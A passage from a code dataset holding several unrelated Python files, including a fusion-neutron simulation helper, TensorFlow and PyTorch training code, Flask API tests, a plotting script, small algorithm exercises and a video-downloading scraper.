creation is assumed isotropic '''\n return np.vector(ones(N_theta))\nskew , kurt = 0 , 0\ndef ballabio_shift(T_ion,reaction):\n ''' Inputs: T_ion [keV], Fusion Reaction [#]; Outputs: Mean energy shift [MeV] '''\n return alpha[reaction][0][0]*T_ion**(2/3)/(1+alpha[reaction][0][1]*T_ion**alpha[reaction][0][2])+alpha[reaction][0][3]*T_ion\ndef HatarikInfor(T_ion,mean,reaction):\n ''' Inputs: T_ion [keV], mean momentum [MeV], Fusion Reaction [#]; Outputs: width of neutron spectrum [MeV] '''\n return 2*Mn*(math.sqrt(mean[reaction]**2+Mn**2)-Mn)*(mean[reaction]**2+Mn**2)*(T_ion)/(mean[reaction]**2*(Mn+MHe[reaction])) \ndef HatarikPDF(p,mue,sigma,skew,kurt):\n ''' Inputs: Momentum [MeV], Momentums of distribution; Outputs: Probability of neutron production at inputed momentum '''\n x = (p-mue)/sigma\n return ((2*math.pi*sigma)**(-1/2))*((-1*x**2/2).exp())*(Hermite(0,x)+skew/6*Hermite(3,x)+kurt/24*Hermite(4,x))\n###################################\n########### Reactivity ############\n###################################\ndef Temp(r,time):\n ''' Inputs: Radius [m], Time [s]; Outputs: Temperature of the plasma [keV] '''\n ''' The .2 is the floor temperature that we allow the gas to be '''\n T = T_max*(1-(r/(1.0001*R0))**2)**(2/7)*math.exp(-.5*((time/BurnSigma))**2)\n if isinstance(r,type(np.vector(0))) == True:\n T = list(T)\n for i in range(len(T)):\n if T[i] < .2: \n T[i] = .2 \n return np.vector(T)\n else:\n if T < .2:\n T = .2\n return T\ndef Delta_Number(radius,time,reaction):\n ''' Inputs: Radius [m], Time [s], Reaction [#]; Outputs: dN produced at inputted Radius and Temp '''\n constant = 1\n if reaction == 1 or reaction == 2: # if a DD or TT fusion reaction occurs the weighting goes down by a factor of 2 because of the 1/(1+delta)\n constant = .5\n return constant*(reactivity(Temp(radius,time),reaction)*N_i_frac[0][0]*N_i_frac[0][1]*4*math.pi*radius**2)\ndef Theta(T,reaction):\n return T/(1-((T*(c[reaction][1]+T*(c[reaction][3]+T*c[reaction][5])))/(1+T*(c[reaction][2]+T*(c[reaction][4]+T*c[reaction][6])))))\ndef Espi(T,reaction):\n return (B_g[reaction]**2/4/Theta(T,reaction))**(1/3)\ndef reactivity(T,reaction):\n return Theta(T,reaction)*c[reaction][0]*(Espi(T,reaction)/T**3/m_r[reaction])**(1/2)*(-3*Espi(T,reaction)).exp()\n################################\n### Birth Neutron Specs ######## \n################################ \ndef Emission():\n ''' Determines angle of emitted neutron '''\n def ThetaPick(): \n return Choice(CDF_theta,x_theta)\n def PhiPick():\n return Choice(CDF_phi,x_phi)\n theta_momentum , phi_momentum = ThetaPick() ,PhiPick() # The neutrons inital velocity is isotropically outwards\n return theta_momentum,phi_momentum,theta_momentum,phi_momentum\n################################\n### Implision Velocity ######## \n################################ \ndef ImplosionVelocity(r,sigma):\n if isinstance(r,int)==True or isinstance(r,float)==True:\n return 2/math.sqrt(math.pi)*math.exp(-(r)**2/2/sigma**2)\n else:\n return (-1*(r**2)/2/sigma**2).exp()\n\n'''--------------------------------------'''\n''' General Functions used in simulation '''\n'''--------------------------------------'''\n\n####################################\n##### Energy <-> Velocity ##########\n#################################### \ndef EnergyToVelocity(energy,m):\n ''' energy is energy of neutron in eV , mass in MeV'''\n return 2.999999E8*(math.sqrt((energy**2)+2*energy*m*1E6)/(energy+m*1E6)) # converts velocity to m/s\n####################################\n##### Momentum <-> Energy ##########\n#################################### \ndef MomentumToEnergy(p,m):\n ''' momentum is in MeV, and m is in MeV '''\n return math.sqrt(m**2+p**2)-m \ndef EnergyToMomentum(E,m):\n ''' momentum is in MeV, and m is in MeV '''\n return math.sqrt((E+m)**2-m**2) \n###################################\n### General Purpose Functions #####\n###################################\ndef linspace(start,stop,n):\n assert n > 1, 'N must be greater than one '''\n h = (stop-start)/(n-1)\n return [start+h*i for i in range(n)]\ndef ones(n):\n assert n > 0, 'N must be greater than zero '''\n return [1 for i in range(n)] \ndef trapazoid(x,y,option):\n ''' Inputs: x data [type=list], y data [type = list], option [type=string] '''\n ''' Depending on what option is set to you will get different inputs '''\n ''' Option == 'Sum' returns to total integral sum\n Option == 'Cumulative' returns a list of length x containing the cumulative integral where the first element is zero and the last element is equal to the total integral \n Option == 'Discrete' returns a list of length x contaning the integral for each porition of the dicrete intgral such that the sum of the list is the total integral '''\n if option == 'Sum':\n return (x[-1]-x[0])/(2*(len(x)-1))*(y[0]+2*sum(y[1:-1])+y[-1])\n index ,count,done= 0,0,[0]\n def area_trap(a,b,y_1,y_2):\n return (b-a)/2*(y_1+y_2)\n while index < len(x)-1:\n if option == 'Cumulative':\n count += area_trap(x[index],x[index+1],y[index],y[index+1])\n if option == 'Discrete':\n count = area_trap(x[index],x[index+1],y[index],y[index+1])\n done.append(count)\n index += 1\n return done\ndef interpol(x,x_data,y_data,option='quad'):\n ''' Inputs: x [type=float or int], x_data [type=list], y_data [type=list], option [type=string]; Output: Scalar interpolation approximation '''\n ''' option allows you to change the interpolation method but a quadratic polynomails is the default '''\n def fit(x,x_list,y_list):\n if option == 'quad':\n return y_list[0]*(x-x_list[1])*(x-x_list[2])/(x_list[0]-x_list[1])/(x_list[0]-x_list[2]) + y_list[1]*(x-x_list[0])*(x-x_list[2])/(x_list[1]-x_list[0])/(x_list[1]-x_list[2]) + y_list[2]*(x-x_list[0])*(x-x_list[1])/(x_list[2]-x_list[0])/(x_list[2]-x_list[1])\n elif option == 'linear':\n m = (y_list[1]-y_list[0])/(x_list[1]-x_list[0])\n return m*(x-x_list[0]) + y_list[0]\n elif option == 'log':\n y_list = [math.log(i) for i in y_list]\n m = (y_list[1]-y_list[0])/(x_list[1]-x_list[0])\n return m*(x-x_list[0]) + y_list[0] \n pos = bisect_left(x_data,x)\n known = [pos-1,pos,pos+1]\n if pos == 0:\n known = [0,1,2]\n if pos == len(x_data)-1 or pos == len(x_data):\n known = [len(x_data)-3,len(x_data)-2,len(x_data)-1]\n if len(x_data) == 2:\n option = 'linear'\n return fit(x,[x_data[known[0]],x_data[known[1]]],[y_data[known[0]],y_data[known[1]]]) \n else:\n return fit(x,[x_data[known[0]],x_data[known[1]],x_data[known[2]]],[y_data[known[0]],y_data[known[1]],y_data[known[2]]]) \ndef interpolate(x_data,y_data,N,option='quad'):\n x_new = linspace(min(x_data),max(x_data),N)\n y_new = [interpol(i,x_data,y_data,option) for i in x_new]\n return x_new , y_new\n###################################\n##### Hermite Polynomials##########\n###################################\n''' First creates a table of each coefficant of the hermite polynomails using a recursion formula '''\norder = 6 # What order polynomial do you need up to?\ncoef = [(order+1)*[0] for i in range(order)]\ncoef[1][0] , coef[2][1] = 1 , 1\nfor n in range(order-1):\n for counter in reversed(range(1,order-1)):\n coef[n+1][counter+1] += (coef[n][counter])\nfor n in range(order-1):\n for sort in reversed(range(1,order)):\n if coef[n][sort] != 0:\n break\n for counter in range(order):\n if counter < sort:\n coef[n+1][counter] += coef[n][counter-1]-(n-1)*coef[n-1][counter]\n else:\n break\ndef Hermite(n,x):\n H , n = 0 , n+1 \n for m in range(n):\n H += coef[n][m]*x**m\n return H \n###################################\n######### Geometry ################\n###################################\ndef Geometry(position):\n ''' Inputs: Position [type=Vector of length 3]; Output: Index of geometric region [type=int] ''' \n radius = math.sqrt(position[0]**2 + position[1]**2 + position[2]**2)\n return bisect_left(Radius,radius)\n# def checker(x,check):\n# for i in check:\n# if i < x:\n# checker(x,check[:-check.index(i)])\n# else:\n# return check.index(i)\n# return len(check)-1\n# return checker(radius,Radius)\ndef GeometricDistance(position,velocity,region):\n if region == 0:\n return GeometricExpansionSphere(position,velocity,Radius[region])\n root1 = GeometricExpansionSphere(position,velocity,Radius[region])\n root2 = GeometricExpansionSphere(position,velocity,Radius[region-1])\n if type(root1) == str:\n if type(root2) == str:\n return 'Negative'\n else:\n return root2\n if type(root2) == str:\n if type(root1) == str:\n return 'Negative'\n else:\n return root1\n elif root1 < root2:\n return root1\n else: return root2 \ndef GeometricExpansionSphere(position,velocity,radius):\n ''' Inputs: position [type vector of length 3], velocity [type=vector of length 3], radius of spherical shell[type=float];\n Outputs: the minimum distance to the geometrical boudnary'''\n vel_unit = velocity/velocity.norm()\n coef_1 = vel_unit[0]**2 + vel_unit[1]**2 + vel_unit[2]**2\n coef_2 = 2 * (position[0]*vel_unit[0]+position[1]*vel_unit[1]+position[2]*vel_unit[2])\n coef_3 = position[0]**2 + position[1]**2 + position[2]**2- radius **2\n if coef_2**2 - 4*coef_1*coef_3 < 0:\n root1 , root2 = 'Imaginary' , 'Imaginary'\n else:\n root1 = (-coef_2 + math.sqrt(coef_2**2 - 4*coef_1*coef_3)) / 2*coef_1\n root2 = (-coef_2 - math.sqrt(coef_2**2 - 4*coef_1*coef_3)) / 2*coef_1 \n ''' Ensures that the vector is on the boundary, but round off errors make it negative, that we choose it anyways '''\n if root1 == 'Imaginary':\n return 'Imaginary'\n if abs(root1) < 1E-10:\n if abs(root2) < 1E-10:\n if abs(root1) < abs(root2):\n return root1\n else:\n return root2\n else:\n return abs(root1)\n else: \n if root1 < 0:\n if root2 < 0:\n return 'Negative'\n else:\n return root2\n elif root2 < 0:\n if root1 < 0 :\n return 'Negative'\n else:\n return root1\n elif root1 < root2:\n return root1\n else: return root2 \n###################################\n### Creating CDF's ################\n###################################\ndef Normalize(x,pdf,normalized_to,*other):\n ''' Inputs: x [type=list or vector], pdf [type = function or list or vector], normalized_to [type=float or int], *other are extra parameters that are needed for the pdf fuction used\n Output: a constant in which to multiply the pdf to in order to normalize it to the specificed normalization '''\n if callable(pdf) == True:\n y = pdf(x,*other)\n else:\n y = pdf\n summation = trapazoid(x,y,'Sum')\n if normalized_to == 0 or summation == 0:\n return 0\n else:\n return normalized_to/trapazoid(x,y,'Sum') \ndef NormPDF(x,pdf,normalized_to,*other):\n ''' Inputs: x [type=list or vector], pdf [type = function or list or vector], normalized_to [type=float or int], *other are extra parameters that are needed for the pdf fuction used\n Output: a normalized pdf [type = function or vector] '''\n cont = Normalize(x,pdf,normalized_to,*other)\n if callable(pdf) == True:\n return pdf(x,*other)*cont \n else:\n if isinstance(pdf,type(np.vector([0]))) != True:\n pdf = np.vector(pdf)\n return pdf*cont\ndef CreateCDF(pdf,a,b,N,normalized_to,*other):\n ''' Generalized CDF Creation from Normalized continious PDF'''\n ''' Inputs: pdf [type = function or vector], a = beginign of domain[type = float or int], b end of domain = [type = float or int], N = [type = int], normalized_to [type = float or int], \n *other are extra parameters that are needed for the pdf fuction used. \n Outputs: a list containing the cdf values '''\n if callable(pdf) == True :\n x = np.vector((linspace(a,b,N))) \n return trapazoid(x,NormPDF(x,pdf,normalized_to,*other),'Cumulative'),x ##############################\n else:\n x = linspace(a,b,len(pdf)-1) \n return trapazoid(x,NormPDF(x,pdf,normalized_to),'Cumulative'),x \n###################################\n### Choosing from CDF #############\n###################################\ndef Choice(cdf,x):\n ''' Inputs: cdf [type = list or vector], x values [type=list or vector]; Output: floating point value of choice '''\n ''' Returns the the chosen value (corresponding to the CDF) that are closest to the choice random value (ranging from 0 to 1)'''\n choice = ran()\n return interpol(choice,cdf,x,option='linear')\n\n###################################\n###### Choice Functions ###########\n###################################\ndef DiscreteChoice(events):\n ''' Events is a list of the form [0,...information...,0]. So that information is the information about the weighting of each event you consider '''\n ep = ran()\n middle = ep*sum(events)\n index = 1\n for index in range(len(events)): \n left = sum(events[0:index])\n right = left + events[index] #sum(events[0:index+1])\n if (left < middle <= right) == True:\n return(index-1)\n##################################\n \nN_theta ,N_energy = 100 , 100 # Number of points to model PDF functions\ntheta_min , theta_max = 0 , 2*math.pi # Birth theta limits\nphi_min , phi_max = 0,math.pi # Birth phi limits\nCDF_theta, x_theta = CreateCDF(ThetaPDF,theta_min,theta_max,N_theta,1)\nCDF_phi , x_phi = CreateCDF(PhiPDF,phi_min,phi_max,N_theta,1)\nImplosionVelocity,ImplosionRadius = CreateCDF(ImplosionVelocity,0,MaxRadius,100,PeakVelocity,Radius[2]/(2*math.sqrt(2*math.log(2))))\n \n","sub_path":"BackEnd/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":14677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639903869","text":"import tempfile\n\nimport tensorflow as tf\nfrom src.model.Identify import GetModel\n\ndef Train(inputPath, width, height):\n # Create the model\n x = tf.placeholder(tf.float32, [None, width, height, 1])\n\n # Define loss and optimizer\n y_ = tf.placeholder(tf.float32, [None, 2])\n\n # Build the graph for the deep net\n y_conv, keep_prob = GetModel(x)\n\n with tf.name_scope('loss'):\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv)\n cross_entropy = tf.reduce_mean(cross_entropy)\n\n with tf.name_scope('adam_optimizer'):\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1))\n correct_prediction = tf.cast(correct_prediction, tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n\n graph_location = tempfile.mkdtemp()\n print('Saving graph to: %s' % graph_location)\n train_writer = tf.summary.FileWriter(graph_location)\n train_writer.add_graph(tf.get_default_graph())\n\n img, label = read_data(inputPath, width, height)\n img_batch, label_batch = tf.train.shuffle_batch([img, label], batch_size=50, capacity=1000, min_after_dequeue=500)\n saver = tf.train.Saver()\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n print(\"Data and model are ready, begin to train\")\n for i in range(10000):\n img_data, img_label = sess.run([img_batch, label_batch])\n if i % 100 == 0:\n train_accuracy = accuracy.eval(feed_dict={\n x: img_data, y_: img_label, keep_prob: 1.0})\n print('step %d, training accuracy %g' % (i, train_accuracy))\n saver.save(sess, \"model/identify/train.model\")\n train_step.run(feed_dict={x: img_data, y_: img_label, keep_prob: 0.5})\n\n saver.save(sess, \"model/identify/train.model\")\n # print('test accuracy %g' % accuracy.eval(feed_dict={\n # x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))\n\ndef read_data(inputPath, width, height):\n filename_queue = tf.train.string_input_producer([inputPath])\n\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue) # return file name and file\n features = tf.parse_single_example(serialized_example,\n features={\n 'label': tf.FixedLenFeature([2], tf.int64),\n 'img_raw' : tf.FixedLenFeature([], tf.string),\n })\n\n img = tf.decode_raw(features['img_raw'], tf.uint8)\n img = tf.reshape(img, [width, height, 1])\n img = tf.cast(img, tf.float32)\n # img = tf.cast(img, tf.float32) * (1. / 255)\n # label = tf.cast(features['label'], tf.int64)\n # label = tf.decode_raw(features['img_raw'], tf.uint8)\n # label = tf.reshape(label, [2, 1])\n # label = tf.cast(label, tf.float32)\n label = features['label']\n # label = tf.reshape(label, [2, 1])\n label = tf.cast(label, tf.float32)\n\n return img, label","sub_path":"src/trainter.py","file_name":"trainter.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242321815","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport argparse\nfrom bar_chooser.ekaterinburg import OLEG_KEYS, EKB_BARS\n\n\nclass BarChooser(object):\n args = {}\n\n def __init__(self, keys=OLEG_KEYS, bars=EKB_BARS):\n self.bars = bars\n self.keys = keys\n self.__parse_args__()\n bars = dict((bar, self.rate(bar, self.args)) for bar in self.bars)\n for key in reversed(sorted(bars, key=bars.get)):\n print(\"{0}: {1}\".format(key, bars[key]))\n\n def rate(self, bar_name, params):\n _bar_data = dict(zip(self.keys, self.bars[bar_name]))\n return sum(min(_bar_data[key], params[key]) for key in self.keys if params.get(key))\n\n def __parse_args__(self):\n parser = argparse.ArgumentParser()\n parser.description = \"Script that help you to choose a bar to drink with someone.\" \\\n \"Just specify something like: bar-chooser --beer=2 --meat=1 --at-home=1\"\n for arg in self.keys:\n parser.add_argument('--{0}'.format(arg.replace('_', '-')), type=int)\n self.args.update(parser.parse_args().__dict__)\n\n\ndef main():\n BarChooser()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"bar_chooser/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641211186","text":"import base64\nimport json\nfrom application import api, db\nfrom application.resources import *\nfrom application.models import User\n\n\nclass TestPosts(object):\n\n @staticmethod\n def create_auth(user):\n x_auth = \"{0}:{1}\".format(user.username, \"password\")\n x_auth = base64.b64encode(x_auth)\n return x_auth\n\n def get_token_header(self, user):\n x_auth = self.create_auth(user)\n response = self.app.post('/tokens', headers={'X-Auth': x_auth})\n return {\"X-Auth-Token\": json.loads(response.data)['token']}\n\n def setUp(self):\n \"\"\"Creates tables before test cases\"\"\"\n from application.models import User\n api.app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite://\"\n api.app.config['TESTING'] = True\n self.app = api.app.test_client()\n db.create_all()\n self.user = User(username=\"subuser1\", password=\"password\")\n db.session.add(self.user)\n db.session.commit()\n data = {\n \"name\": \"funny\"\n }\n self.headers = self.get_token_header(self.user)\n self.app.post('/subreddits', data=data, headers=self.headers)\n\n def tearDown(self):\n \"\"\"Clear db after a test\"\"\"\n db.session.remove()\n db.drop_all()\n\n def testCreatePosts(self):\n data = {\n \"title\": \"Test post please ignore\",\n \"body\": \"This is a test post, please ignore it.\"\n }\n response = self.app.get('/r/funny')\n rdata = json.loads(response.data)\n assert len(rdata['posts']) == 0\n response = self.app.post('/r/funny', data=data, headers=self.headers)\n assert response.status_code == 200\n rdata = json.loads(response.data)\n assert rdata['author'] == self.user.username\n assert rdata['upvotes'] == 1\n assert rdata['downvotes'] == 0\n assert rdata['myvote'] == 1\n response = self.app.get('/r/funny')\n rdata = json.loads(response.data)\n assert len(rdata['posts']) == 1\n\n def testVotes(self):\n data = {\n \"title\": \"Test post please ignore\",\n \"body\": \"This is a test post, please ignore it.\"\n }\n response = self.app.post('/r/funny', data=data, headers=self.headers)\n rdata = json.loads(response.data)\n post_url = rdata['url']\n post_up_url = rdata['upvote_url']\n post_down_url = rdata['downvote_url']\n downvoter = User(username='brokenarms', password=\"password\")\n db.session.add(downvoter)\n db.session.commit()\n headers = self.get_token_header(downvoter)\n # First downvote\n response = self.app.post(post_down_url, headers=headers)\n assert response.status_code == 201\n response = self.app.get(post_url)\n assert json.loads(response.data)['downvotes'] == 1\n assert json.loads(response.data)['upvotes'] == 1\n assert json.loads(response.data)['myvote'] == 0\n response = self.app.get('/u/{0}'.format(self.user.username))\n assert json.loads(response.data)['karma'] == 0\n # Remove downvote\n response = self.app.delete(post_down_url, headers=headers)\n assert response.status_code == 204\n # upvote\n response = self.app.post(post_up_url, headers=headers)\n assert response.status_code == 201\n response = self.app.get('/u/{0}'.format(self.user.username))\n rdata = json.loads(response.data)\n assert rdata['karma'] == 2\n response = self.app.get(post_url)\n rdata = json.loads(response.data)\n assert rdata['upvotes'] == 2\n assert rdata['downvotes'] == 0\n response = self.app.get('/u/{0}'.format(self.user.username))\n assert json.loads(response.data)['karma'] == 2\n\n def testComment(self):\n data = {\n \"title\": \"Test post please ignore\",\n \"body\": \"This is a test post, please ignore it.\"\n }\n response = self.app.post('/r/funny', data=data, headers=self.headers)\n rdata = json.loads(response.data)\n post_url = rdata['url']\n data = {\n \"body\": \"This is a test body please ignore\"\n }\n response = self.app.post(post_url, data=data, headers=self.headers)\n rdata = json.loads(response.data)\n assert response.status_code == 201\n assert rdata['upvotes'] == 1\n assert rdata['downvotes'] == 0\n response = self.app.get('/u/{0}'.format(self.user.username))\n rdata = json.loads(response.data)\n assert rdata['karma'] == 2\n","sub_path":"tests/post_tests.py","file_name":"post_tests.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"572383006","text":"# Este script de python toma como parámetro un archivo de resultados \n# y genera una gráfica con los datos obtenidos. La leyenda del gŕafico es tomado \n# del archivo metadatas.txt. Genera un archivo vectorial con el gráfico generado.\n\nimport sys\nimport getopt\nimport matplotlib.pyplot as plt\n\n\n\ndef main(argv):\n try:\n opts, args = getopt.getopt(argv,\"hxt:yt:xs:ys:xb:yb:if\",[\"xtitle=\",\"ytitle=\",\"xscale=\", \"yscale=\",\"xbase=\", \"ybase=\", \"inputfolder=\"]) \n except getopt.GetoptError:\n print('python3 viewer.py --xtitle --ytitle --xscale --yscale --xbase <10|2> --ybase <10|2> --inputfolder <./test1/> ')\n sys.exit(2)\n xAxisTitle = 'xAxis'\n yAxisTitle = 'yAxis'\n xScale = 'log'\n xScaleBase = 2\n yScale = 'linear'\n yScaleBase = 10\n resultFile = \"\"\n svgPlotFile = \"\"\n for opt, arg in opts:\n #print(opt,arg)\n if opt in (\"-xt\", \"--xtitle\"):\n xAxisTitle = arg\n elif opt in (\"-yt\", \"--ytitle\"):\n yAxisTitle = arg\n \n elif opt in (\"-xs\", \"--xscale\"):\n xScale = arg\n elif opt in (\"-ys\", \"--xbase\"):\n xScaleBase = int(arg)\n \n elif opt in (\"-xb\", \"--yscale\"):\n yScale = arg\n elif opt in (\"-yb\", \"--ybase\"):\n yScaleBase = int(arg)\n\n elif opt in (\"-if\", \"--inputfolder\"):\n resultFile = \"{}/plotResult\".format(arg)\n svgPlotFile = \"{}/plot.svg\".format(arg)\n else:\n print('Unknown param')\n sys.exit(1)\n \n # se obtiene el nombre del archivo y demás variables\n \n with open(resultFile) as f:\n lines = f.readlines()\n x = lines[0].split(' ') # se obtiene los valores de la primera línea x\n x = list(map(float,x)) \n y = lines[1].split(' ') # se obtiene los valores de la segunda línea y\n y = list(map(float,y)) \n plt.plot(x, y, color=\"#6c3376\", linewidth=3) \n plt.xlabel(xAxisTitle) \n plt.ylabel(yAxisTitle)\n plt.tight_layout()\n if(xScale != 'linear' ):\n plt.xscale(xScale, base=int(xScaleBase))\n else: \n plt.xscale('linear')\n\n if(yScale != 'linear' ):\n plt.yscale(yScale, base=int(yScaleBase))\n else: \n plt.yscale('linear') \n\n plt.savefig(svgPlotFile)\nif __name__ == \"__main__\":\n main(sys.argv[1:])","sub_path":"scripts/barPlot.py","file_name":"barPlot.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"211383477","text":"\"\"\"\nGiven a sorted array consisting of only integers where every element appears twice\nexcept for one element which appears once. Find this single element that appears only once.\n\"\"\"\n\n\nclass Solution(object):\n def singleNonDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums: return nums\n single = nums[0]\n for i in range(1, len(nums)):\n single ^= nums[i]\n return single\n\n def singleNonDuplicate2(self, nums):\n start, end = 0, len(nums) - 1\n while start < end:\n mid = (start + end) // 2\n if mid % 2 == 1:\n mid -= 1\n if nums[mid] != nums[mid + 1]: # if no pair, single on the left\n end = mid\n else: # else single on the right\n start = mid + 2\n\n return nums[start]\n\n# Example: |0 1 1 3 3 6 6|\n# ^ ^\n# Next: |0 1 1|3 3 6 6\n# Example: |1 1 3 3 5 6 6|\n# ^ ^\n# Next: 1 1 3 3|5 6 6|\n\nnums = [1,1,2,3,3,4,4,8,8]\n# nums = [3,3,7,7,10,11,11]\nprint(Solution().singleNonDuplicate2(nums))","sub_path":"540SingleElement.py","file_name":"540SingleElement.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562504966","text":"from lxml import etree\n\nimport requests\n\n# Python破解vip视频实战\n\n# 请求包图网url拿到html数据\n# 获取当前网站首页的响应数据\n# 反爬虫\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',\n\n}\n\na = requests.get(\"https://ibaotu.com/\", headers=headers)\n\nprint(a)\n\n# 抽取想要的数据 视频链接 视频标题\n# etree.HTML():构造一个Xpath解析对象并对HTML文本进行自动修正\nhtml = etree.HTML(a.text)\n\n# 视频链接 返回给我们的是一个列表所有定义一个变量为src-list\n# src_list = html.xpath(\"video-qn.ibaotu.com/19/75/21/22e888piCdbZ.mp4_10s.mp4\")\nsrc_list = html.xpath('//div[@class=\"video-play\"]/video/@src')\n\n# 视频标题\ntitle_list = html.xpath('//span[@class=\"video-title\"]/text()')\nprint(src_list, title_list)\n\n# 循环下载 zip:可以同时选拿两个,没有zip就不能同时拿两个\nfor src, title in zip(src_list, title_list):\n # 下载视频 返回一个完整的网址拼接上https\n b = requests.get(\"https:\" + src, headers=headers)\n\n # 保存视频\n # 创建文件名\n fileName = title + '.mp4'\n print(\"正在下载视频:\" + fileName)\n\n # 下载视频 保存到文件目录中 上下文管理器\n with open('../video/' + fileName, 'wb') as file:\n file.write(b.content)\n file.close()\n","sub_path":"python-study/BaoTu.py","file_name":"BaoTu.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338781344","text":"\"\"\"\nUtilize uma lista para resolver o problema a seguir. Uma empresa paga seus vendedores com base em comissões.\nO vendedor recebe $200 por semana mais 9 por cento de suas vendas brutas daquela semana.\nPor exemplo, um vendedor que teve vendas brutas de $3000 em uma semana recebe $200 mais 9 por cento de $3000, ou seja,\num total de $470.\nEscreva um programa (usando um array de contadores) que determine quantos vendedores receberam salários nos seguintes\nintervalos de valores:\n$200 - $299\n$300 - $399\n$400 - $499\n$500 - $599\n$600 - $699\n$700 - $799\n$800 - $899\n$900 - $999\n$1000 em diante\nDesafio: Crie ma fórmula para chegar na posição da lista a partir do salário, sem fazer vários ifs aninhados.\n\"\"\"\n\n# como nao entendi direito, vou fazer com 10 vendedores apenas.\n\nintervalos = [299, 399, 499, 599, 699, 799, 899, 999, 1000]\n\nval_vendedores = [float(input(f'Venda bruta do vendedor {i + 1}: R$')) * 0.09 + 200 for i in range(10)]\n\ntot = [0] * len(intervalos)\n\nfor v in val_vendedores:\n for i in intervalos:\n if v <= i and (v >= (i - 99)):\n tot[intervalos.index(i)] += 1\n break\n elif v >= 1000:\n tot[-1] += 1\n break\n\nprint(tot)\n","sub_path":"04_Exercicios_Listas/16-IntervaloDeSalarios.py","file_name":"16-IntervaloDeSalarios.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"355524986","text":"class ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef Init():\n node1 = ListNode(1)\n node2 = ListNode(2)\n node3 = ListNode(3)\n node4 = ListNode(4)\n node1.next = node2\n node2.next = node3\n node3.next = node4\n return node1\n\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n prev = ListNode(-1)\n pre, pre.next = prev, head\n while pre.next and pre.next.next:\n a = pre.next\n b = a.next\n pre.next, b.next, a.next = b, a, b.next\n pre = a\n return prev.next\n\nhead = Solution().swapPairs(Init())\nwhile head:\n print(head.val)\n head = head.next\n\n\n\n","sub_path":"LinkedLists/SwapPairs.py","file_name":"SwapPairs.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"583310347","text":"#Open input file\nfile = open(\"input.txt\")\n\n#Open output file\noutput = open(\"trim.txt\", \"w\")\n\n#Remove adaptor loop:\nfor dna in file:\n trim_dna = dna[14:] #trim 1st 14 bits\n trim_length = len(trim_dna) - 1 #length of sequence\n output.write(trim_dna) #write to file\n print(\"processed sequence with length \" + str(trim_length))\n","sub_path":"PFB_exer_examp/Chapter_4/exercises/Processing.DNA.SHelman.py","file_name":"Processing.DNA.SHelman.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"45271274","text":"from torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nimport torch\nimport glob\nimport os\nimport numpy as np\n\n\ndef cdl_to_binary(cdl):\n #print(((cdl <= 60) | (cdl >= 196)) | ((cdl >= 66) & (cdl <= 77)))\n return (((cdl <= 60) | (cdl >= 196)) | ((cdl >= 66) & (cdl <= 77)))\n\n\nclass MaskedTileDataset(Dataset):\n\n def __init__(self, tile_dir, tile_files, mask_dir, transform=None, n_samples=None):\n\n self.tile_dir = tile_dir\n self.tile_files = tile_files\n self.transform = transform\n self.n_samples = n_samples\n self.mask_dir = mask_dir\n\n\n def __len__(self):\n if self.n_samples: return self.n_samples\n else: return len(self.tile_files)\n\n\n def __getitem__(self, idx):\n tile = np.load(os.path.join(self.tile_dir, self.tile_files[idx]))\n tile = np.nan_to_num(tile)\n tile = np.moveaxis(tile, -1, 0)\n\n mask = np.load(os.path.join(self.mask_dir, 'mask_'+self.tile_files[idx]))\n mask = np.expand_dims(mask, axis=0)\n tile = np.concatenate([tile, mask], axis=0) # attach mask to tile to ensure same transformations are applied\n\n if self.transform:\n tile = self.transform(tile)\n features = tile[:7,:,:]\n \n label = tile[-2,:,:] * 10000\n label = cdl_to_binary(label)\n label = label.float()\n \n mask = tile[-1,:,:]\n mask = mask.byte()\n\n return features, label, mask\n\n\nclass RandomFlipAndRotate(object):\n \"\"\"\n Does data augmentation during training by randomly flipping (horizontal\n and vertical) and randomly rotating (0, 90, 180, 270 degrees). Keep in 